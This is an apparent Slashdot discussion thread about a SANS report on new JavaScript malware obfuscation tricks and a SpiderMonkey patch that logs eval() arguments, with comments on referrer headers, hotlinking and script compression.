Thwarting New JavaScript Malware Obfuscation 76
I Don't Believe in Imaginary Property writes "Malware writers have been obfuscating their JavaScript exploit code for a long time now and SANS is reporting that they've come up with some new tricks. While early obfuscations were easy enough to undo by changing eval() to alert(), they soon shifted to clever use of arguments.callee() in a simple cipher to block it. Worse, now they're using document.referrer, document.location, and location.href to make site-specific versions, too. But SANS managed to stop all that with an 8-line patch to SpiderMonkey that prints out any arguments to eval() before executing them. It seems that malware writers still haven't internalized the lesson of DRM — if my computer can access something in plaintext, I can too."
DRM and copy protection schemes (Score:2, Informative)
It seems that malware writers still haven't internalized the lesson of DRM -- if my computer can access something in plaintext, I can too.
In fact, thats the lesson from any digital copy protection scheme, some of which precede DRM (at least the term DRM)
Baby & Bathwater? (Score:5, Informative)
There are certainly legitimate uses of eval, and legitimate reasons to "obfuscate". Like to compress the script that you send to each & every client. The savings in bandwidth for you (and for them, especially if they're on dialup) can add up. For example: http://www.javascriptcompressor.com [javascriptcompressor.com]
Re:document.referrer (Score:2, Informative)
Re:So how does this solve anything in the real wor (Score:4, Informative)
Re:document.referrer (Score:2, Informative)
Many sites won't work without it, mainly to prevent "hotlinking".
That is about as effective as User-Agent sniffing.
This Firefox addon [mozilla.org] gives you arbitrary Referer headers on a per-site basis.
Re:document.referrer (Score:2, Informative)
Most "hotlinking prevention" methods (either in a .htaccess or in PHP) that I've seen allow no referrer, since no referrer usually means it was a bookmark or a URL entered by hand. Since this also allows people to copy and paste links to site, these methods are generally pointless unless there is a real problem.
Its not obfuscation (Score:5, Informative)
Sure it may look like the attacker is cleverly trying to obfuscate their malware from prying eyes but usually they could care less about that. By the time you go reversing their code, they've already gotten the bulk of their victims anyway.
Rather, they're most often using it to make the code easy to replicate elsewhere. A lot of places they'll host it will inadvertently hiccup on certain characters in the code and change them. Like < to <, or + to space, or new line chars to end the string. Using an encoder that converts everything to alphanumeric is much easier to guarantee a successful propagation.
Especially true for XSS worms
Re:document.referrer (Score:2, Informative)
I was unclear. I meant an empty referrer, which occurs when you weren't referred by a URL (such as typing the URL manually or clicking a bookmark). If you prevent the use of an empty referrer, your page cannot be bookmarked or manually typed in the address bar, which is why it is allowed.
Save yourself some headache, just gzip it (Score:3, Informative)
It isn't an either/or choice, but programs with verbose variable names (which is typically one of the first targets of javascript compression: "replace timeSinceLastUpdate with r") compress disgustingly well. You may find that the gzip compression is effective enough that the obfuscation isn't worth the various attendant headaches (maintaining two versions of the code, etc).